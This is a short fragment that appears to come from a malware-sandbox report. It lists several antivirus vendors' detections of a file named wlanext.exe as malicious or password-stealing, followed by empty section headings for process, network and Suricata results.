SentinelOne	Static AI - Malicious PE
Fortinet	MSIL/Kryptik.AKFO!tr
AVG	Win32:PWSX-gen [Trj]
DeepInstinct	MALICIOUS

wlanext.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All